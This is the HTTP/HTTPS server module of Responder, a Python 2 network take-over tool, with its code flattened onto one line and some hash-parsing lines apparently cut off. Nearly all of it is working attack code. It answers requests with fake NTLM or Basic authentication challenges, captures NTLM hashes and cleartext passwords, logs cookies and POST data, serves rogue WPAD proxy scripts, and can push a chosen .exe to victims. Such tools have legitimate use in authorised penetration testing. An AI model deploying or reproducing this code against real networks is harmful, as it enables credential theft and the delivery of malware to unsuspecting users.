#!/usr/bin/env python # This file is part of Responder, a network take-over set of tools # created and maintained by Laurent Gaffie. # email: laurent.gaffie@gmail.com # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see . import struct from SocketServer import BaseRequestHandler, StreamRequestHandler from base64 import b64decode from utils import * from packets import NTLM_Challenge from packets import IIS_Auth_401_Ans, IIS_Auth_Granted, IIS_NTLM_Challenge_Ans, IIS_Basic_401_Ans,WEBDAV_Options_Answer from packets import WPADScript, ServeExeFile, ServeHtmlFile # Parse NTLMv1/v2 hash. def ParseHTTPHash(data, Challenge, client, module): LMhashLen = struct.unpack(' 24: NthashLen = 64 DomainLen = struct.unpack(' 1 and settings.Config.Verbose: print text("[HTTP] Cookie : %s " % Cookie) return Cookie return False def GrabHost(data, host): Host = re.search(r'(Host:*.\=*)[^\r\n]*', data) if Host: Host = Host.group(0).replace('Host: ', '') if settings.Config.Verbose: print text("[HTTP] Host : %s " % color(Host, 3)) return Host return False def GrabReferer(data, host): Referer = re.search(r'(Referer:*.\=*)[^\r\n]*', data) if Referer: Referer = Referer.group(0).replace('Referer: ', '') if settings.Config.Verbose: print text("[HTTP] Referer : %s " % color(Referer, 3)) return Referer return False def SpotFirefox(data): UserAgent = re.findall(r'(?<=User-Agent: )[^\r]*', data) if UserAgent: print text("[HTTP] %s" % color("User-Agent : "+UserAgent[0], 2)) IsFirefox = re.search('Firefox', UserAgent[0]) if IsFirefox: print color("[WARNING]: Mozilla doesn't switch to fail-over proxies (as it should) when one's failing.", 1) print color("[WARNING]: The current WPAD script will cause disruption on this host. Sending a dummy wpad script (DIRECT connect)", 1) return True else: return False def WpadCustom(data, client): Wpad = re.search(r'(/wpad.dat|/*\.pac)', data) if Wpad and SpotFirefox(data): Buffer = WPADScript(Payload="function FindProxyForURL(url, host){return 'DIRECT';}") Buffer.calculate() return str(Buffer) if Wpad and SpotFirefox(data) == False: Buffer = WPADScript(Payload=settings.Config.WPAD_Script) Buffer.calculate() return str(Buffer) return False def IsWebDAV(data): dav = re.search('PROPFIND', data) if dav: return True else: return False def ServeOPTIONS(data): WebDav= re.search('OPTIONS', data) if WebDav: Buffer = WEBDAV_Options_Answer() return str(Buffer) return False def ServeFile(Filename): with open (Filename, "rb") as bk: return bk.read() def RespondWithFile(client, filename, dlname=None): if filename.endswith('.exe'): Buffer = ServeExeFile(Payload = ServeFile(filename), ContentDiFile=dlname) else: Buffer = ServeHtmlFile(Payload = ServeFile(filename)) Buffer.calculate() print text("[HTTP] Sending file %s to %s" % (filename, client)) return str(Buffer) def GrabURL(data, host): GET = re.findall(r'(?<=GET )[^HTTP]*', data) POST = re.findall(r'(?<=POST )[^HTTP]*', data) POSTDATA = re.findall(r'(?<=\r\n\r\n)[^*]*', data) if GET and settings.Config.Verbose: print text("[HTTP] GET request from: %-15s URL: %s" % (host, color(''.join(GET), 5))) if POST and settings.Config.Verbose: print text("[HTTP] POST request from: %-15s URL: %s" % (host, color(''.join(POST), 5))) if len(''.join(POSTDATA)) > 2: print text("[HTTP] POST Data: %s" % ''.join(POSTDATA).strip()) # Handle HTTP packet sequence. def PacketSequence(data, client, Challenge): NTLM_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data) Basic_Auth = re.findall(r'(?<=Authorization: Basic )[^\r]*', data) # Serve the .exe if needed if settings.Config.Serve_Always is True or (settings.Config.Serve_Exe is True and re.findall('.exe', data)): return RespondWithFile(client, settings.Config.Exe_Filename, settings.Config.Exe_DlName) # Serve the custom HTML if needed if settings.Config.Serve_Html: return RespondWithFile(client, settings.Config.Html_Filename) WPAD_Custom = WpadCustom(data, client) # Webdav if ServeOPTIONS(data): return ServeOPTIONS(data) if NTLM_Auth: Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9] print "Challenge 2:", Challenge.encode('hex') if Packet_NTLM == "\x01": GrabURL(data, client) GrabReferer(data, client) GrabHost(data, client) GrabCookie(data, client) Buffer = NTLM_Challenge(ServerChallenge=Challenge) Buffer.calculate() Buffer_Ans = IIS_NTLM_Challenge_Ans() Buffer_Ans.calculate(str(Buffer)) return str(Buffer_Ans) if Packet_NTLM == "\x03": NTLM_Auth = b64decode(''.join(NTLM_Auth)) if IsWebDAV(data): module = "WebDAV" else: module = "HTTP" ParseHTTPHash(NTLM_Auth, Challenge, client, module) if settings.Config.Force_WPAD_Auth and WPAD_Custom: print text("[HTTP] WPAD (auth) file sent to %s" % client) return WPAD_Custom else: Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject) Buffer.calculate() return str(Buffer) elif Basic_Auth: ClearText_Auth = b64decode(''.join(Basic_Auth)) GrabURL(data, client) GrabReferer(data, client) GrabHost(data, client) GrabCookie(data, client) SaveToDb({ 'module': 'HTTP', 'type': 'Basic', 'client': client, 'user': ClearText_Auth.split(':')[0], 'cleartext': ClearText_Auth.split(':')[1], }) if settings.Config.Force_WPAD_Auth and WPAD_Custom: if settings.Config.Verbose: print text("[HTTP] WPAD (auth) file sent to %s" % client) return WPAD_Custom else: Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject) Buffer.calculate() return str(Buffer) else: if settings.Config.Basic: Response = IIS_Basic_401_Ans() if settings.Config.Verbose: print text("[HTTP] Sending BASIC authentication request to %s" % client) else: Response = IIS_Auth_401_Ans() if settings.Config.Verbose: print text("[HTTP] Sending NTLM authentication request to %s" % client) return str(Response) # HTTP Server class class HTTP(BaseRequestHandler): def handle(self): try: Challenge = RandomChallenge() for x in range(2): self.request.settimeout(3) data = self.request.recv(8092) Buffer = WpadCustom(data, self.client_address[0]) if Buffer and settings.Config.Force_WPAD_Auth == False: self.request.send(Buffer) self.request.close() if settings.Config.Verbose: print text("[HTTP] WPAD (no auth) file sent to %s" % self.client_address[0]) else: Buffer = PacketSequence(data,self.client_address[0], Challenge) self.request.send(Buffer) except socket.error: pass # HTTPS Server class class HTTPS(StreamRequestHandler): def setup(self): self.exchange = self.request self.rfile = socket._fileobject(self.request, "rb", self.rbufsize) self.wfile = socket._fileobject(self.request, "wb", self.wbufsize) def handle(self): try: Challenge = RandomChallenge() data = self.exchange.recv(8092) self.exchange.settimeout(0.5) Buffer = WpadCustom(data,self.client_address[0]) if Buffer and settings.Config.Force_WPAD_Auth == False: self.exchange.send(Buffer) if settings.Config.Verbose: print text("[HTTPS] WPAD (no auth) file sent to %s" % self.client_address[0]) else: Buffer = PacketSequence(data,self.client_address[0], Challenge) self.exchange.send(Buffer) except: pass